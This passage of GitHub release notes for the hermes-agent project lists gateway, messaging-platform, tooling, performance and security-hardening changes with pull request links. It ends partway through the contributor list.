<li>Authorize relay-delivered events by delivery, not <code>source.platform</code>; adopt <code>scope_id</code> wire key; purge platform-specific scope terminology (<a href="https://github.com/NousResearch/hermes-agent/pull/52306" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52306/hovercard">#52306</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55289" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55289/hovercard">#55289</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56016" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56016/hovercard">#56016</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
</ul>
<h3>Gateway core &amp; rendering</h3>
<ul>
<li>Typed send-error classification (<code>SendResult.error_kind</code>); per-platform <code>typing_indicator</code> toggle; per-category context breakdown in <code>/usage</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/50342" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50342/hovercard">#50342</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55394" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55394/hovercard">#55394</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55204" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55204/hovercard">#55204</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>API server: configurable concurrent-run cap to prevent DoS; scope run approvals by run id (<a href="https://github.com/NousResearch/hermes-agent/pull/50007" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50007/hovercard">#50007</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56129" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56129/hovercard">#56129</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>📱 Messaging Platforms</h2>
<ul>
<li><strong>Cron continuations</strong> — continuable cron jobs (thread-preferred continuation with DM-mirror fallback); flat in-channel continuable cron delivery for Slack; warn when gateway not running on cron create/list (<a href="https://github.com/NousResearch/hermes-agent/pull/52250" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52250/hovercard">#52250</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56254" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56254/hovercard">#56254</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/51696" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51696/hovercard">#51696</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Telegram: configurable command menu + raised default cap so skills stay visible; gate rich draft previews separately; drain general send pool on pool timeout before retry (<a href="https://github.com/NousResearch/hermes-agent/pull/51716" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51716/hovercard">#51716</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52088" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52088/hovercard">#52088</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54121" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54121/hovercard">#54121</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>)</li>
<li>Slack: opt-in Block Kit rendering for agent messages; <code>--no-assistant</code> flag for manifest generation (<a href="https://github.com/NousResearch/hermes-agent/pull/56102" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56102/hovercard">#56102</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/51487" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51487/hovercard">#51487</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Discord: render reasoning as <code>-#</code> subtext via <code>display.reasoning_style</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/51168" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51168/hovercard">#51168</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Native WhatsApp media delivery via the Baileys bridge; Teams native <code>send_video</code>/<code>send_voice</code>/<code>send_document</code>; photon sidecar upgraded to spectrum-ts v8 with tapback correlation; Raft gateway setup wizard (<a href="https://github.com/NousResearch/hermes-agent/pull/53598" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53598/hovercard">#53598</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49308" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49308/hovercard">#49308</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53451" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53451/hovercard">#53451</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56230" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56230/hovercard">#56230</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Signal: AAC voice-note remux + shared markdown formatting (<a href="https://github.com/NousResearch/hermes-agent/pull/49530" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49530/hovercard">#49530</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Migrate slack/dingtalk/whatsapp/matrix/feishu/telegram/wecom/email/sms adapters to bundled (<a href="https://github.com/NousResearch/hermes-agent/pull/49408" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49408/hovercard">#49408</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🔧 Tool System, Skills &amp; MCP</h2>
<ul>
<li>Blank Slate setup mode — minimal agent, opt in to everything (<a href="https://github.com/NousResearch/hermes-agent/pull/36733" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/36733/hovercard">#36733</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>MCP: config persistence attack surface hardened; block base_url exfil; keepalive for short-TTL sessions (see Security) — plus catalog &amp; UX carried from v0.17.0</li>
<li>Skills: <code>/learn</code> distillation (see Self-Improvement); <code>cloudflare-temporary-deploy</code> optional skill; creative-ideation v2.1.0 method library (<a href="https://github.com/NousResearch/hermes-agent/pull/50849" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50849/hovercard">#50849</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42402" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42402/hovercard">#42402</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a>)</li>
<li>Kanban: task lifecycle plugin hooks (claimed/completed/blocked); typed block reasons + unblock-loop breaker; handoff freshness stamping (<a href="https://github.com/NousResearch/hermes-agent/pull/50349" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50349/hovercard">#50349</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52848" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52848/hovercard">#52848</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53973" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53973/hovercard">#53973</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Plugins: <code>ctx.profile_name</code> for session-agnostic profile access (<a href="https://github.com/NousResearch/hermes-agent/pull/50346" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50346/hovercard">#50346</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>LSP: PowerShellEditorServices language server; mem0 v3 API + OSS mode + update/delete tools (<a href="https://github.com/NousResearch/hermes-agent/pull/55930" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55930/hovercard">#55930</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/15624" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15624/hovercard">#15624</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kartik-mem0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kartik-mem0">@kartik-mem0</a>)</li>
</ul>
<h2>⚡ Performance</h2>
<ul>
<li>Cold start: lazy-load gateway platform adapters; parse config + plugin manifests with libyaml <code>CSafeLoader</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/54448" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54448/hovercard">#54448</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54486" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54486/hovercard">#54486</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>State: merge FTS5 segments + <code>handoff_state</code> index to curb write-lock contention; single-pass <code>list_profiles</code> alias map + skill-count cache + event-loop offload (<a href="https://github.com/NousResearch/hermes-agent/pull/54752" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54752/hovercard">#54752</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54770" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54770/hovercard">#54770</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🔒 Security &amp; Reliability</h2>
<ul>
<li>Harden MCP-config persistence attack surface; block cron <code>base_url</code> overrides that exfiltrate provider credentials; non-reusable sentinel for prefix secrets in file reads (<a href="https://github.com/NousResearch/hermes-agent/pull/50476" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50476/hovercard">#50476</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56196" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56196/hovercard">#56196</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54166" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54166/hovercard">#54166</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Redact Slack App-Level (<code>xapp-</code>) tokens; browser cloud-metadata floor on all backends (CDP non-local); re-check private-network guard after <code>browser_back</code> navigation; scope <code>/resume</code> and <code>/sessions</code> to caller origin (IDOR); <code>aiohttp</code> 3.14.1 CVE floor across lazy messaging paths + pin-drift guard (<a href="https://github.com/NousResearch/hermes-agent/pull/56227" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56227/hovercard">#56227</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52349" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52349/hovercard">#52349</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56526" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56526/hovercard">#56526</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56378" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56378/hovercard">#56378</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56237" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56237/hovercard">#56237</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/claudlos/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/claudlos">@claudlos</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Cron reliability wave: fail closed when an unpinned job's provider drifts; run missed-grace jobs once instead of deferring forever; keep the ticker alive on <code>BaseException</code> + heartbeat-aware status; layer enabled MCP servers onto per-job toolsets; guard cron model-tool path + auto-resume loop breaker (<a href="https://github.com/NousResearch/hermes-agent/pull/51051" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51051/hovercard">#51051</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50062" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50062/hovercard">#50062</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50016" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50016/hovercard">#50016</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50117" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50117/hovercard">#50117</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56240" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56240/hovercard">#56240</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Windows: suppress console flashes + harden gateway restarts; prefer cmd npm shim on PATH fallback; respawn gateway windowless after GUI update; prefer managed node for whatsapp/desktop (<a href="https://github.com/NousResearch/hermes-agent/pull/52340" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52340/hovercard">#52340</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50398" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50398/hovercard">#50398</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52239" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52239/hovercard">#52239</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🔁 Reverts (in-window, for the record)</h2>
<ul>
<li>cron job storage returned to per-profile (reverts <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517607524" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/32117" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32117/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/32117">#32117</a> + <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4719892950" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/50993" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50993/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/50993">#50993</a>); don't clone <code>auth.json</code> (duplicating OAuth grant causes sibling revocation); windows terminal-popup PRs rolled back; <code>prompt_caching.enabled</code> toggle backed out for re-evaluation (<a href="https://github.com/NousResearch/hermes-agent/pull/51116" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51116/hovercard">#51116</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/51732" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51732/hovercard">#51732</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53853" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53853/hovercard">#53853</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56126" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56126/hovercard">#56126</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>👥 Contributors</h2>
<p><strong>381 people</strong> contributed to this release (via commits, co-author trailers, and salvaged PRs). Thank you, all of you.</p>
<h3>Core</h3>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a> — release lead; MoA first-class, verification/goals, <code>/learn</code>, background review, security round, providers, the P0/P1 clean-sweep</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a> — desktop app (projects, memory graph, <code>/journey</code>, multi-terminal, composer refactor wave, pets, verification UX)</li>
</ul>
<h3>Top community contributors</h3>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a> — the P0/P1 backlog burn: cron reliability wave, state perf, security (cron credential-exfil), gateway/signal, TUI config — a huge share of the priority closures</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> — relay Phase 5/6, scale-to-zero / drain coordination, dashboard auth/keys, gateway hardening</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a> — CI/docker (unified jobs, faster builds, timings report)</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a> — Windows hardening (console flashes, npm shim, gateway restarts)</li>
</ul>
<h3>All contributors</h3>
<p><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xbyt4/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xbyt4">@0xbyt4</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xDevNinja/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xDevNinja">@0xDevNinja</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xsir0000/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xsir0000">@0xsir0000</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/1RB/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/1RB">@1RB</a>, @595650661, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aaronlab/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aaronlab">@aaronlab</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/abchiaravalle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/abchiaravalle">@abchiaravalle</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/adammatski1972/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/adammatski1972">@adammatski1972</a>, <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/AetherAgents/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AetherAgents">@AetherAgents</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Afnath-max/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Afnath-max">@Afnath-max</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/agt-user/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/agt-user">@agt-user</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ahmadashfq/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ahmadashfq">@ahmadashfq</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AhmetArif0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AhmetArif0">@AhmetArif0</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AIalliAI/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AIalliAI">@AIalliAI</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aieng-abdullah/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aieng-abdullah">@aieng-abdullah</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ailang323/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ailang323">@ailang323</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ailthrim/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ailthrim">@ailthrim</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aj-nt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aj-nt">@aj-nt</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alelpoan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alelpoan">@alelpoan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alloevil/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alloevil">@alloevil</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amathxbt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amathxbt">@amathxbt</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ambition0802/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ambition0802">@ambition0802</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/anderskev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/anderskev">@anderskev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/andressommerhoff/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/andressommerhoff">@andressommerhoff</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/angelos/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/angelos">@angelos</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/annguyenNous/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/annguyenNous">@annguyenNous</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Antimatter543/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Antimatter543">@Antimatter543</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/arminanton/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/arminanton">@arminanton</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/arthurzhang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/arthurzhang">@arthurzhang</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/asimons81/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/asimons81">@asimons81</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/baolingao/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/baolingao">@baolingao</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Bartok9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Bartok9">@Bartok9</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/basilalshukaili/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/basilalshukaili">@basilalshukaili</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BBCrypto-web/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BBCrypto-web">@BBCrypto-web</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bbopen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bbopen">@bbopen</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Beandon13/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Beandon13">@Beandon13</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/beardthelion/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/beardthelion">@beardthelion</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>, <a 